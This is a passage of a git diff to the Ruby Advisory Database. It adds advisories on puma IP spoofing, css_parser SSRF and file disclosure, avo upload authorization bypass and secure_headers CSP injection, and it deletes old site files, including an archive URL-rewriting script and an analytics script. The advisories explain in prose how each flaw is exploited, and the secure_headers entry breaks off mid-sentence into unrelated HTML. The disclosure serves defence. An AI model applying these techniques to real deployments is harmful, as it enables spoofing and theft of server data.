(reserved) + - No nvd cvss values +--- diff --git a/advisories/_posts/2026-05-27-CVE-2026-47737.md b/advisories/_posts/2026-05-27-CVE-2026-47737.md new file mode 100644 index 00000000..0c122bb5 --- /dev/null +++ b/advisories/_posts/2026-05-27-CVE-2026-47737.md @@ -0,0 +1,74 @@ +--- +layout: advisory +title: 'CVE-2026-47737 (puma): Puma PROXY Protocol v1 Accepts Repeated Protocol Headers + on Persistent Connections' +comments: false +categories: +- puma +advisory: + gem: puma + cve: 2026-47737 + ghsa: 2vqw-3mp8-cgmx + url: https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-47737 + title: Puma PROXY Protocol v1 Accepts Repeated Protocol Headers on Persistent Connections + date: 2026-05-27 + description: |- + ## Impact + + Puma is vulnerable to source IP spoofing when set_remote_address + proxy_protocol: :v1 is enabled and persistent connections are used. + + PROXY protocol v1 is a connection-level protocol. Support was added + to Puma in v5.5.0. A proxy sends one PROXY header at the beginning + of a TCP connection, before any HTTP data. Puma incorrectly re-parsed + PROXY protocol headers after each keep-alive request on the same + connection. An attacker able to send HTTP requests through a trusted + proxy could therefore inject a second PROXY header between HTTP + requests. Puma would treat the injected header as authoritative for + the next request and overwrite REMOTE_ADDR. + + This can mislead applications or middleware that use REMOTE_ADDR for + security decisions, rate limiting, auditing, or allow/deny lists. + + Only deployments that explicitly enable PROXY protocol v1 are affected, + and will have set: + + set_remote_address proxy_protocol: :v1 + + Puma's default configuration is not affected. Deployments that do + not use persistent connections to Puma are also not expected to + be affected by this issue. + + ## Workarounds + + * Disable PROXY protocol v1 parsing if it is not required: + + # remove/comment this: + # set_remote_address proxy_protocol: :v1 + + Users can also disable persistent connections to Puma, for example: + + enable_keep_alives false + cvss_v3: 7.5 + unaffected_versions: + - "< 5.5.0" + patched_versions: + - "~> 7.2.1" + - ">= 8.0.2" + related: + url: + - https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-47737 + - https://rubygems.org/gems/puma/versions/8.0.2 + - https://github.com/puma/puma/blob/main/History.md#802--2026-05-27 + - https://github.com/puma/puma/blob/main/History.md#721--2026-05-27 + - https://github.com/puma/puma/releases/tag/v8.0.2 + - https://github.com/puma/puma/releases/tag/v7.2.1 + - https://github.com/puma/puma/pull/2654 + - https://github.com/phires/go-guerrilla/security/advisories/GHSA-c2c3-pqw5-5p7c + - https://github.com/puma/puma/issues/2651 + - https://rubyweekly.com/issues/803 + - https://github.com/puma/puma/security/advisories/GHSA-2vqw-3mp8-cgmx + notes: | + - https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-47737 (reserved) + - No nvd cvss values +--- diff --git a/advisories/_posts/2026-06-01-CVE-2026-53727.md b/advisories/_posts/2026-06-01-CVE-2026-53727.md new file mode 100644 index 00000000..102be20c --- /dev/null +++ b/advisories/_posts/2026-06-01-CVE-2026-53727.md @@ -0,0 +1,42 @@ +--- +layout: advisory +title: 'CVE-2026-53727 (css_parser): SSRF and Local File Disclosure in `CssParser::Parser#read_remote_file`' +comments: false +categories: +- css_parser +advisory: + gem: css_parser + cve: 2026-53727 + ghsa: 9pmc-p236-855h + url: https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-53727 + title: SSRF and Local File Disclosure in `CssParser::Parser#read_remote_file` + date: 2026-06-01 + description: |- + ## Summary + + CssParser::Parser#read_remote_file (and therefore load_uri!, and the + @import-following branch of add_block!) issues HTTP/HTTPS requests + against any host, port and URI it is handed, with no scheme allowlist, + no host / IP filtering, and no protection against link-local, loopback + or RFC‑1918 addresses. Location: redirects are followed recursively + back into the same function, which also services file:// URIs, so a + single attacker-controlled HTTP redirect upgrades the bug from SSRF + to arbitrary local file disclosure. + + In practice, any consumer of css_parser that hands it attacker‑influenced + CSS together with a base_uri: option — Premailer being the canonical + example — is exposed. The attacker only needs the ability to land one + @import url(...) in the CSS that the host application parses. + cvss_v4: 8.9 + unaffected_versions: + - "< 2.2.0" + patched_versions: + - ">= 3.0.0" + related: + url: + - https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-53727 + - https://rubygems.org/gems/css_parser/versions/3.0.0 + - https://github.com/premailer/css_parser/blob/master/CHANGELOG.md#version-300 + - https://github.com/premailer/css_parser/security/advisories/GHSA-9pmc-p236-855h + notes: "- CVE is reserved, but not published so no cvss values.\n" +--- diff --git a/advisories/_posts/2026-06-02-CVE-2026-53769.md b/advisories/_posts/2026-06-02-CVE-2026-53769.md new file mode 100644 index 00000000..df785759 --- /dev/null +++ b/advisories/_posts/2026-06-02-CVE-2026-53769.md @@ -0,0 +1,50 @@ +--- +layout: advisory +title: 'CVE-2026-53769 (avo): Direct attachment upload endpoint lacks upload authorization + and bypasses field-level upload policy' +comments: false +categories: +- avo +advisory: + gem: avo + cve: 2026-53769 + ghsa: pqpw-cvm4-8mv9 + url: https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-53769 + title: Direct attachment upload endpoint lacks upload authorization and bypasses + field-level upload policy + date: 2026-06-02 + description: |- + ## Summary + + Avo's direct attachment upload endpoint lacks server-side upload + authorization and bypasses the documented field-level upload policy + methods such as upload_{FIELD_ID}?. + + An authenticated Avo user who can reach the Avo attachment upload + endpoint can replace or add attachment content, including binary + content, filename, and content-type metadata, on a resolved record + even when both update? and upload_? policies deny the operation. + + This primarily affects multi-role Avo Pro/Advanced-style deployments + where non-administrator or restricted operator users can reach Avo + and per-record or per-field operations are expected to be enforced + by policies. + cvss_v3: 6.5 + unaffected_versions: + - "< 2.28.0" + patched_versions: + - "~> 3.32.0" + - ">= 4.0.0.beta.41" + related: + url: + - https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-53769 + - https://rubygems.org/gems/avo/versions/4.0.0.beta.41 + - https://rubygems.org/gems/avo/versions/3.32.0 - https://avohq.io/releases/3.32.0 + - https://github.com/avo-hq/avo/security/advisories/GHSA-pqpw-cvm4-8mv9 + notes: | + - CVE is reserved, but not published. + - date and cvss_v3 and patched_versions from GHSA URL. + - 4.0.0.beta.41 on 6/2/2026 ; 3.32.0 on 6/2/2026 + - Do not see 4.0.0.beta.41 inside GitHub. Nothing before 4.0.6. + - See 4.0.0.beta.41 on Rubygems URL. +--- diff --git a/advisories/_posts/2026-06-03-CVE-2026-54163.md b/advisories/_posts/2026-06-03-CVE-2026-54163.md new file mode 100644 index 00000000..b5d2a742 --- /dev/null +++ b/advisories/_posts/2026-06-03-CVE-2026-54163.md @@ -0,0 +1,72 @@ +--- +layout: advisory +title: 'CVE-2026-54163 (secure_headers): CSP directive injection via sandbox, plugin_types, + and report_to when given untrusted input' +comments: false +categories: +- secure_headers +advisory: + gem: secure_headers + cve: 2026-54163 + ghsa: rqq5-2gf9-4w4q + url: https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54163 + title: CSP directive injection via sandbox, plugin_types, and report_to when given + untrusted input + date: 2026-06-03 + description: |- + ## Summary + + secure_headers builds the Content-Security-Policy value by stitching + every configured directive together with ; separators. Three directive + builders (build_sandbox_list_directive, build_media_type_list_directive, + build_report_to_directive) interpolate caller-supplied strings into + that value without scrubbing ;, \r, or \n. + + When an application forwards untrusted input into + SecureHeaders.override_content_security_policy_directives (or append_…) + for :sandbox, :plugin_types, or :report_to, an attacker can embed a + literal ; and inject an arbitrary CSP directive into the header value. + Because :sandbox and :plugin_types both sort alphabetically before + :script_src in BODY_DIRECTIVES, the injected script-src lands earlier + in the header and wins under the CSP first-occurrence rule, defeating + the application's real script-src. End result: an 'unsafe-inline' * policy + is forced for inline - - - - - - - -
-
-
-
- - -
-
-

We help maintain the following projects:

-
-
-

Ruby Advisory Database

-

The canonical, community-maintained, plain-text database of -security vulnerability advisories affecting Ruby libraries and virtual -machines.

-

Receive updates via atom or browse the database.

-
- -
-

Bundler-Audit

-

Free utility that audits your Gemfile.lock against the advisory database.

-
-
- - -
-
-

This domain was graciously donated by Jordi Massaguer.

-
-
+ {% include sidebar.html %}
- -
- - - - - - - diff --git a/index_files/ait-client-rewrite.js b/index_files/ait-client-rewrite.js deleted file mode 100644 index 97ffad6e..00000000 --- a/index_files/ait-client-rewrite.js +++ /dev/null @@ -1,589 +0,0 @@ -//============================================ -// Wayback Common JS Library -//============================================ - -var WB_wombat_replayServer; -var WB_wombat_replayPrefix; -var WB_wombat_replayDatePrefix; -var WB_wombat_captureDatePart; -var WB_wombat_origHost; - -//Location objects -var WB_wombat_self_location; -var WB_wombat_top_location; -var WB_wombat_opener_location; - -// Domain -var WB_wombat_document_domain; - -//function to allow jquery expando requests (http://stackoverflow.com/questions/7200722/jquery-expando-properties), -//which return a function that has its name defined in a parameter of the request, to be executed. we rewrite the function call elsewhere (see -//ArchiveUrlReplay.xml) and then define it here to ensure it exists. expando function include current timestamp so we can never replay them without -//overriding default expando behavior -function jQueryREWRITTEN_BY_WAYBACK() { - o=arguments; -} - -function WB_Get_Domain(href) { - var a = document.createElement('a'); - - a.href = href; - return a.protocol + "//" + a.hostname; -} - -function WB_StripPort(str) { - var hostWithPort = str.match(/^http:\/\/[\w\d@.-]+:\d+/); - if (hostWithPort) { - var hostName = hostWithPort[0].substr(0, hostWithPort[0].lastIndexOf(':')); - return hostName + str.substr(hostWithPort[0].length); - } - - return str; -} - -function WB_IsHostUrl(str) { - // Good guess that's its a hostname - if (str.indexOf("www.") == 0) { - return true; - } - - // hostname:port (port required) - var matches = str.match(/^[\w-]+(\.[\w-_]+)+(:\d+)(\/|$)/); - if (matches && (matches[0].length < 64)) { - return true; - } - - // ip:port - matches = str.match(/^\d+\.\d+\.\d+\.\d+(:\d+)?(\/|$)/); - if (matches && (matches[0].length < 64)) { - return true; - } - - return false; -} - -function WB_RewriteUrl(url) { - var httpPrefix = "http://"; - var httpsPrefix = "https://"; - - if (!url) { - return url; - } - - // If not dealing with a string, get string version and try to convert it - if ((typeof url) != "string") { - url = url.toString(); - } - - // If starts with prefix, no rewriting needed - // Only check replay prefix (no date) as date may be different for each capture - if (url.indexOf(WB_wombat_replayServer) == 0) { - return url; - } - - // If server relative url, add prefix and original host - if (WB_IsRelativeUrl(url)) { - - // Already a relative url, don't make any changes! - if (url.indexOf(WB_wombat_captureDatePart) >= 0) { - return url; - } - - return WB_wombat_replayDatePrefix + WB_wombat_origHost + url; - } - - // If full url starting with http:// add http prefix - if (url.indexOf(httpPrefix) == 0) { - return WB_wombat_replayDatePrefix.replace("https://", "http://") + url; - } - - // If full url starting with https:// add https prefix - if (url.indexOf(httpsPrefix) == 0) { - return WB_wombat_replayDatePrefix.replace("http://", "https://") + url; - } - - // May or may not be a hostname, call function to determine - // If it is, add the prefix and make sure port is removed - if (WB_IsHostUrl(url)) { - return WB_wombat_replayDatePrefix + httpPrefix + url; - } - - return url; -} - -//determine if url is server or path relative or not -function WB_IsRelativeUrl(url) { - - if (url) { - var urlType = (typeof url); - - if (urlType == "string") { - return (url.charAt(0) == "/" || url.charAt(0) == "."); - } else if (urlType == "object") { - return (url.href && (url.href.charAt(0) == "/" || url.charAt(0) == ".")); - } - } - - return false; -} - -//http://wayback.archive-it.org/1000000016/20140801164720/http://www.w3.org/2000/svg -> http://www.w3.org/2000/svg - for https://webarchive.jira.com/browse/ARI-3906 -function WB_UnRewriteUrl(url) { - return WB_ExtractOrig(url); -} - -function WB_CopyObjectFields(obj) { - var newObj = {}; - - for (prop in obj) { - if ((typeof obj[prop]) != "function") { - newObj[prop] = obj[prop]; - } - } - - return newObj; -} - -function WB_ExtractOrigNoProtocol(href) { - - var lHref = WB_ExtractOrig(href); - - if (lHref.slice(0, 5) == "http:") { - return lHref.slice(5); - } - else if (lHref.slice(0, 6) == "https:") { - return lHref.slice(6); - } - - return lHref; -} - -function WB_ExtractOrig(href) { - if (!href) { - return ""; - } - href = href.toString(); - var index = href.indexOf("/http", 1); - if (index > 0) { - return href.substr(index + 1); - } else { - return href; - } -} - -//solution from http://stackoverflow.com/questions/4497531/javascript-get-url-path -function WB_GetPath(href) { - var a = document.createElement('a'); - a.href = href; - return a.pathname; -} - -//solution from http://stackoverflow.com/questions/4497531/javascript-get-url-path -//specifically, user stecb's answer -function WB_ExtractOrigPathname(href) { - var origHref = WB_ExtractOrig(href); - return WB_GetPath(origHref); -} - -function WB_ExtractOrigPathnameAndQueryString(href) { - - var origHref = WB_ExtractOrig(href); - - var a = document.createElement('a'); - a.href = origHref; - - if (WB_EndsWith(origHref, "?")) { - return a.pathname + "?"; - } - - return a.pathname + a.search; -} - -function WB_EndsWith(str, endingStr) { - return str.indexOf(endingStr, str.length - endingStr.length) !== -1; -} - -//solution from http://stackoverflow.com/questions/4497531/javascript-get-url-path -function WB_ExtractOrigSearch(href) { - var origHref = WB_ExtractOrig(href); - var a = document.createElement('a'); - a.href = origHref; - return a.search; -} - -// rewrite orig href to https if it is http and the page is being loaded as https -// this is to deal with Firefox mixed content security which restricts loading http urls from a page -// loaded over https -function WB_fixProtocol(href) { - if (!href) { - return ""; - } - - if (location.protocol == "https:") { - if (href.slice(0, 5) == "http:") { - href = "https:" + href.slice(5); - } - } - return href; -} - -function WB_CopyLocationObj(loc) { - var newLoc = WB_CopyObjectFields(loc); - - newLoc._origLoc = loc; - newLoc._origHref = loc.href; - - // Rewrite replace and assign functions - newLoc.replace = function(url) { this._origLoc.replace(WB_RewriteUrl(url)); }; - newLoc.assign = function(url) { this._origLoc.assign(WB_RewriteUrl(url)); }; - newLoc.reload = function() { this._origLoc.reload(); }; - newLoc.href = WB_fixProtocol(WB_ExtractOrig(newLoc._origHref)); - newLoc.pathname = WB_ExtractOrigPathname(newLoc._origHref); - newLoc.search = WB_ExtractOrigSearch(newLoc._origHref); - newLoc.toString = function() { return this.href; }; - newLoc.hash = loc.hash; - - newLoc.lasthash = loc.hash; - newLoc.lastSearch = newLoc.search - - return newLoc; -} - -//override createElementNS JS function in order to ensure namespace is correct - for https://webarchive.jira.com/browse/ARI-3906 -function WB_CreateElementNS(namespace, elementName) { - namespace = WB_UnRewriteUrl(namespace); - return document.createElementNS(namespace, elementName); -} - -function WB_wombat_updateLoc(reqHref, origHref, loc, wbSearchLoc) { - if (reqHref) { - if (WB_IsRelativeUrl(reqHref)) { - //for relative paths, just compare the paths + query string, not full urls - if (WB_ExtractOrigPathnameAndQueryString(origHref) != reqHref) { - loc.href = WB_RewriteUrl(reqHref); - return true; - } - } - else { - //for full urls, compare everything but leading protocol (http or https) - if (WB_ExtractOrigNoProtocol(origHref) != WB_ExtractOrigNoProtocol(reqHref)) { - loc.href = WB_RewriteUrl(reqHref); - return true; - } - } - } - if (wbSearchLoc) { - if (loc.search != wbSearchLoc) { - console.log('replacing browser location.search with %s', wbSearchLoc); - loc.search = wbSearchLoc; - } - } - - return false; -} - -function WB_wombat_checkLocationChange(wbLoc, isTop) { - - var has_updated = null; - var locType = (typeof wbLoc); - - var location = (isTop ? window.top.location : window.location); - - // String has been assigned to location, so assign it - if (locType == "string") { - has_updated = WB_wombat_updateLoc(wbLoc, location.href, location); - } else if (locType == "object") { - var search = wbLoc.search != wbLoc.lastSearch ? wbLoc.search : null; - has_updated = WB_wombat_updateLoc(wbLoc.href, wbLoc._origHref, location, search); - } - - if (WB_wombat_self_location.hash != WB_wombat_self_location.lasthash) { - //if wombat hash has been updated, make sure it's in sync with window.location hash - window.location.hash = WB_wombat_self_location.hash; - } else if (window.location.hash != WB_wombat_self_location.hash) { - //if window.location.hash has been updated before wombat hash, handle this here - WB_wombat_self_location.hash = window.location.hash; - } - - WB_wombat_self_location.lasthash = WB_wombat_self_location.hash; - - return has_updated; -} - -var wombat_updating = false; - -function WB_wombat_checkLocations() { - - if (wombat_updating) { - return false; - } - wombat_updating = true; - - var updated_self = WB_wombat_checkLocationChange(document.WB_wombat_self_location, false); - - if (!updated_self) { - updated_self = WB_wombat_checkLocationChange(WB_wombat_self_location, false); - } - - var updated_top = null; - - if (document.WB_wombat_self_location != WB_wombat_top_location) { - updated_top = WB_wombat_checkLocationChange(WB_wombat_top_location, true); - if (!updated_top) { - if (WB_wombat_self_location != WB_wombat_top_location) { - updated_top = WB_wombat_checkLocationChange(WB_wombat_top_location, true); - } - } - } - - //for https://webarchive.jira.com/browse/ARI-3955 - if (updated_self || updated_top) { - return false; - } - - wombat_updating = false; -} - -//copied from https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Storage -function WB_wombat_Override_LocalStorage() { - Object.defineProperty(window, "localStorage", new (function () { - var aKeys = [], oStorage = {}; - Object.defineProperty(oStorage, "getItem", { - value: function (sKey) { return sKey ? (this[sKey] ? this[sKey] : null) : null; }, - writable: false, - configurable: false, - enumerable: false - }); - Object.defineProperty(oStorage, "key", { - value: function (nKeyId) { return aKeys[nKeyId]; }, - writable: false, - configurable: false, - enumerable: false - }); - Object.defineProperty(oStorage, "setItem", { - value: function (sKey, sValue) { - if(!sKey) { return; } - document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/"; - }, - writable: false, - configurable: false, - enumerable: false - }); - Object.defineProperty(oStorage, "length", { - get: function () { return aKeys.length; }, - configurable: false, - enumerable: false - }); - Object.defineProperty(oStorage, "removeItem", { - value: function (sKey) { - if(!sKey) { return; } - document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/"; - }, - writable: false, - configurable: false, - enumerable: false - }); - this.get = function () { - var iThisIndx; - for (var sKey in oStorage) { - iThisIndx = aKeys.indexOf(sKey); - if (iThisIndx === -1) { oStorage.setItem(sKey, oStorage[sKey]); } - else { aKeys.splice(iThisIndx, 1); } - delete oStorage[sKey]; - } - for (aKeys; aKeys.length > 0; aKeys.splice(0, 1)) { oStorage.removeItem(aKeys[0]); } - for (var aCouple, iKey, nIdx = 0, aCouples = document.cookie.split(/\s*;\s*/); nIdx < aCouples.length; nIdx++) { - aCouple = aCouples[nIdx].split(/\s*=\s*/); - if (aCouple.length > 1) { - oStorage[iKey = unescape(aCouple[0])] = unescape(aCouple[1]); - aKeys.push(iKey); - } - } - return oStorage; - }; - this.configurable = false; - this.enumerable = true; - })()); -} - -function WB_wombat_Init(replayPrefix, captureDate, origHost) { - WB_wombat_replayServer = location.protocol + "//" + location.host; - - try { - var collectionId = /https?:\/\/wayback\..*archive-it\.org\/([\d]+(?:-test)?)/.exec(replayPrefix)[1]; - WB_wombat_replayPrefix = WB_wombat_replayServer + "/" + collectionId + "/"; - } catch (exc) { - WB_wombat_replayPrefix = replayPrefix; - } - - WB_wombat_replayDatePrefix = WB_wombat_replayPrefix + captureDate + "/"; - WB_wombat_captureDatePart = "/" + captureDate + "/"; - - WB_wombat_origHost = "http://" + origHost; - - WB_wombat_self_location = WB_CopyLocationObj(window.self.location); - WB_wombat_top_location = ((window.self.location != window.top.location) ? WB_CopyLocationObj(window.top.location) : WB_wombat_self_location); - - WB_wombat_opener_location = null; - //try catch for https://webarchive.jira.com/browse/ARI-3715 - try { - WB_wombat_opener_location = (window.opener ? WB_CopyLocationObj(window.opener.location) : null); - } catch (err) { - console.log(err); - } - - //WB_wombat_document_domain = document.domain; - WB_wombat_document_domain = origHost; - - // For https://webarchive.jira.com/browse/ARI-3985 - document.WB_wombat_self_location = WB_wombat_self_location; - - //override window.open function so that a new window will have WB_wombat_self_location as a member since wombat - //rewriting may change window.location to window.WB_wombat_self_location - //for https://webarchive.jira.com/browse/ARI-4006 - var originalOpenFunction = window.open; - - window.open = function (url, windowName, windowFeatures) { - var newWindow = originalOpenFunction(url, windowName, windowFeatures); - - newWindow.WB_wombat_self_location = newWindow.self.location; - - return newWindow; - }; - - var originalHistoryPushStateFunction = history.pushState; - - //override pushState and replaceState history functions so we can retain the correct archival format //livesiteurl in the browsers location bar - //if the site is using these methods. for https://webarchive.jira.com/browse/ARI-4068 - history.pushState = function (stateObject, title, url) { - - var rewrittenUrl = null; - - if (url) { - rewrittenUrl = WB_GetPath(WB_RewriteUrl(WB_GetPath(url))) + WB_ExtractOrigSearch(url); - } - - if (stateObject) { - if (stateObject.path) { - stateObject.path = WB_GetPath(WB_RewriteUrl(WB_GetPath(stateObject.path))) + WB_ExtractOrigSearch(stateObject.path); - } - } - - originalHistoryPushStateFunction.call(history, stateObject, title, rewrittenUrl); - }; - - var originalHistoryReplaceStateFunction = history.replaceState; - - history.replaceState = function (stateObject, title, url) { - - var rewrittenUrl = null; - - if (url) { - rewrittenUrl = WB_GetPath(WB_RewriteUrl(WB_GetPath(url))) + WB_ExtractOrigSearch(url); - } - - if (stateObject) { - if (stateObject.path) { - stateObject.path = WB_GetPath(WB_RewriteUrl(WB_GetPath(stateObject.path))) + WB_ExtractOrigSearch(stateObject.path); - } - } - - originalHistoryReplaceStateFunction.call(history, stateObject, title, rewrittenUrl); - }; - - window.originalPostMessageFunction = window.postMessage; - - window.WB_PostMessage_Fixup = function(target, message, targetOrigin, transfer) { - target.originalPostMessageFunction.call(target, message, targetOrigin, transfer); - } - - window.WB_PostMessage = function(callingWindow, message, targetOrigin, transfer) { - var rewrittenTargetOrigin; - - if (targetOrigin) { - rewrittenTargetOrigin = WB_Get_Domain(WB_RewriteUrl(targetOrigin)); - } - - //detect condition of window containing current function not - //being the window from which the function was called - if (window !== callingWindow) { - //make sure to call postMessage from the same window the live site would call from - //this may not occur as each window (iframes included) has an overidden WB_PostMessage - callingWindow.WB_PostMessage_Fixup(window, message, rewrittenTargetOrigin, transfer); - } - else { - window.originalPostMessageFunction.call(window, message, rewrittenTargetOrigin, transfer); - } - } - - document.WB_wombat_self_location = WB_wombat_self_location; - - //from http://stackoverflow.com/questions/2638292/after-travelling-back-in-firefox-history-javascript-wont-run - for https://webarchive.jira.com/browse/ARI-4118 - window.onunload = function(){}; - - WB_Wombat_SetCookies(WB_wombat_self_location._origHref, location.protocol + "//" + origHost, replayPrefix.split("/")[3], captureDate); - -//for https://webarchive.jira.com/browse/ARI-4161 - error in Scott Reed's Firefox: NS_ERROR_DOM_QUOTA_REACHED Persistent storage maximum size reached - try { - WB_wombat_Override_LocalStorage(); - } catch (e) { - console.log("WB_wombat_Override_LocalStorage error: " + e); - } - - var proxied = window.XMLHttpRequest.prototype.open; - window.XMLHttpRequest.prototype.open = function() { - //only set withCredentials == true if request is to wayback and ready state is correct for withCredentials - //otherwise withCredentials == true will block requests to analytics site. - if ((this.readyState == 0 || this.readyState == 1) && - (arguments[1].indexOf(WB_wombat_replayPrefix) == 0 || arguments[1].indexOf("/") == 0)) { - - this.withCredentials=true; - } - - return proxied.apply(this, [].slice.call(arguments)); - }; -} - -// determine if current page executing javascript is an embedded page or not -function WB_Wombat_IsEmbedded() { - return window.self !== window.top; -} - -function WB_Wombat_SetCookies(origHref, origHost, collectionId, captureDate) { - - //only set wayback.initiatingpage cookie for "top-level" pages, otherwise, Wayback QA could mark down missing - //urls under the wrong containing page since wayback.initiatingpage cookie is used to determine - //the containing page - if (!WB_Wombat_IsEmbedded()) { - document.cookie="wayback.initiatingpage=" + encodeURIComponent(origHref) + "; path=/"; - } - - document.cookie="wayback.archivalhost=" + encodeURIComponent(origHost) + "; path=/"; - document.cookie="wayback.collectionid=" + collectionId + "; path=/"; - document.cookie="wayback.timestamp=" + captureDate + "; path=/"; -} - -//copied from http://stackoverflow.com/questions/1833588/javascript-clone-a-function -Function.prototype.clone = function() { - var cloneObj = this; - if(this.__isClone) { - cloneObj = this.__clonedFrom; - } - - var temp = function() { return cloneObj.apply(this, arguments); }; - for(var key in this) { - temp[key] = this[key]; - } - - temp.__isClone = true; - temp.__clonedFrom = cloneObj; - - return temp; -}; - -// Check quickly after page load -setTimeout(WB_wombat_checkLocations, 100); -//setTimeout(WB_wombat_checkLocations, 1000); - -// Check periodically every few seconds -setInterval(WB_wombat_checkLocations, 500); diff --git a/index_files/analytics.js b/index_files/analytics.js deleted file mode 100644 index a5aa13ce..00000000 --- a/index_files/analytics.js +++ /dev/null @@ -1,411 +0,0 @@ -/* eslint-disable no-var, semi, prefer-arrow-callback, prefer-template */ - -/** - * Collection of methods for sending analytics events to Archive.org's analytics server. - * - * These events are used for internal stats and sent (in anonymized form) to Google Analytics. - * - * @see analytics.md - * - * @type {Object} - */ -window.archive_analytics = (function defineArchiveAnalytics() { - var ARCHIVE_ANALYTICS_VERSION = 2; - var DEFAULT_SERVICE = 'ao_2'; - - var startTime = new Date(); - - /** - * @return {Boolean} - */ - function isPerformanceTimingApiSupported() { - return 'performance' in window && 'timing' in window.performance; - } - - /** - * Determines how many milliseconds elapsed between the browser starting to parse the DOM and - * the current time. - * - * Uses the Performance API or a fallback value if it's not available. - * - * @see https://developer.mozilla.org/en-US/docs/Web/API/Performance_API - * - * @return {Number} - */ - function getLoadTime() { - var start; - - if (isPerformanceTimingApiSupported()) - start = window.performance.timing.domLoading; - else - start = startTime.getTime(); - - return new Date().getTime() - start; - } - - /** - * Determines how many milliseconds elapsed between the user navigating to the page and - * the current time. - * - * @see https://developer.mozilla.org/en-US/docs/Web/API/Performance_API - * - * @return {Number|null} null if the browser doesn't support the Performance API - */ - function getNavToDoneTime() { - if (!isPerformanceTimingApiSupported()) - return null; - - return new Date().getTime() - window.performance.timing.navigationStart; - } - - /** - * Performs an arithmetic calculation on a string with a number and unit, while maintaining - * the unit. - * - * @param {String} original value to modify, with a unit - * @param {Function} doOperation accepts one Number parameter, returns a Number - * @returns {String} - */ - function computeWithUnit(original, doOperation) { - var number = parseFloat(original, 10); - var unit = original.replace(/(\d*\.\d+)|\d+/, ''); - - return doOperation(number) + unit; - } - - /** - * Computes the default font size of the browser. - * - * @returns {String|null} computed font-size with units (typically pixels), null if it cannot be computed - */ - function getDefaultFontSize() { - var fontSizeStr; - - if (!('getComputedStyle' in window)) - return null; - - var style = window.getComputedStyle(document.documentElement); - if (!style) - return null; - - fontSizeStr = style.fontSize; - - // Don't modify the value if tracking book reader. - if (document.documentElement.classList.contains('BookReaderRoot')) - return fontSizeStr; - - return computeWithUnit(fontSizeStr, function reverseBootstrapFontSize(number) { - // Undo the 62.5% size applied in the Bootstrap CSS. - return number * 1.6; - }); - } - - /** - * Get the URL parameters for a given Location - * @param {Location} - * @return {Object} The URL parameters - */ - function getParams(location) { - if (!location) location = window.location; - var vars; - var i; - var pair; - var params = {}; - var query = location.search; - if (!query) return params; - vars = query.substring(1).split('&'); - for (i = 0; i < vars.length; i++) { - pair = vars[i].split('='); - params[pair[0]] = decodeURIComponent(pair[1]); - } - return params; - } - - return { - /** - * @type {String|null} - */ - service: null, - - /** - * Key-value pairs to send in pageviews (you can read this after a pageview to see what was - * sent). - * - * @type {Object} - */ - values: {}, - - /** - * Sends an analytics ping, preferably using navigator.sendBeacon() - * @param {Object} values - * @param {Function} [onload_callback] (deprecated) callback to invoke once ping to analytics server is done - * @param {Boolean} [augment_for_ao_site] (deprecated) if true, add some archive.org site-specific values - */ - send_ping: function send_ping(values, onload_callback, augment_for_ao_site) { - if (typeof window.navigator !== 'undefined' && typeof window.navigator.sendBeacon !== 'undefined') - this.send_ping_via_beacon(values); - else - this.send_ping_via_image(values); - }, - - /** - * Sends a ping via Beacon API - * NOTE: Assumes window.navigator.sendBeacon exists - * @param {Object} values Tracking parameters to pass - */ - send_ping_via_beacon: function send_ping_via_beacon(values) { - var url = this.generate_tracking_url(values || {}); - window.navigator.sendBeacon(url); - }, - - /** - * Sends a ping via Image object - * @param {Object} values Tracking parameters to pass - */ - send_ping_via_image: function send_ping_via_image(values) { - var url = this.generate_tracking_url(values || {}); - var loadtime_img = new Image(1, 1); - loadtime_img.src = url; - }, - - /** - * Construct complete tracking URL containing payload - * @param {Object} params Tracking parameters to pass - * @return {String} URL to use for tracking call - */ - generate_tracking_url: function generate_tracking_url(params) { - var baseUrl = '//analytics.archive.org/0.gif'; - var keys; - var outputParams = params; - var outputParamsArray = []; - - outputParams.service = outputParams.service || this.service || DEFAULT_SERVICE; - - // Build array of querystring parameters - keys = Object.keys(outputParams); - keys.forEach(function keyIteration(key) { - outputParamsArray.push(encodeURIComponent(key) + '=' + encodeURIComponent(outputParams[key])); - }); - outputParamsArray.push('version=' + ARCHIVE_ANALYTICS_VERSION); - outputParamsArray.push('count=' + (keys.length + 2)); // Include `version` and `count` in count - - return baseUrl + '?' + outputParamsArray.join('&'); - }, - - /** - * @param {int} page Page number - */ - send_scroll_fetch_event: function send_scroll_fetch_event(page) { - var additionalValues = { ev: page }; - var loadTime = getLoadTime(); - var navToDoneTime = getNavToDoneTime(); - if (loadTime) additionalValues.loadtime = loadTime; - if (navToDoneTime) additionalValues.nav_to_done_ms = navToDoneTime; - this.send_event('page_action', 'scroll_fetch', location.pathname, additionalValues); - }, - - send_scroll_fetch_base_event: function send_scroll_fetch_base_event() { - var additionalValues = {}; - var loadTime = getLoadTime(); - var navToDoneTime = getNavToDoneTime(); - if (loadTime) additionalValues.loadtime = loadTime; - if (navToDoneTime) additionalValues.nav_to_done_ms = navToDoneTime; - this.send_event('page_action', 'scroll_fetch_base', location.pathname, additionalValues); - }, - - /** - * @param {Object} [options] - * @param {String} [options.mediaType] - * @param {String} [options.mediaLanguage] - * @param {String} [options.page] The path portion of the page URL - */ - send_pageview: function send_pageview(options) { - var settings = options || {}; - - var defaultFontSize; - var loadTime = getLoadTime(); - var mediaType = settings.mediaType; - var page = settings.page; - var navToDoneTime = getNavToDoneTime(); - - /** - * @return {String} - */ - function get_locale() { - if (navigator) { - if (navigator.language) - return navigator.language; - - else if (navigator.browserLanguage) - return navigator.browserLanguage; - - else if (navigator.systemLanguage) - return navigator.systemLanguage; - - else if (navigator.userLanguage) - return navigator.userLanguage; - } - return ''; - } - - defaultFontSize = getDefaultFontSize(); - - // Set field values - this.values.kind = 'pageview'; - this.values.timediff = (new Date().getTimezoneOffset()/60)*(-1); // *timezone* diff from UTC - this.values.locale = get_locale(); - this.values.referrer = (document.referrer == '' ? '-' : 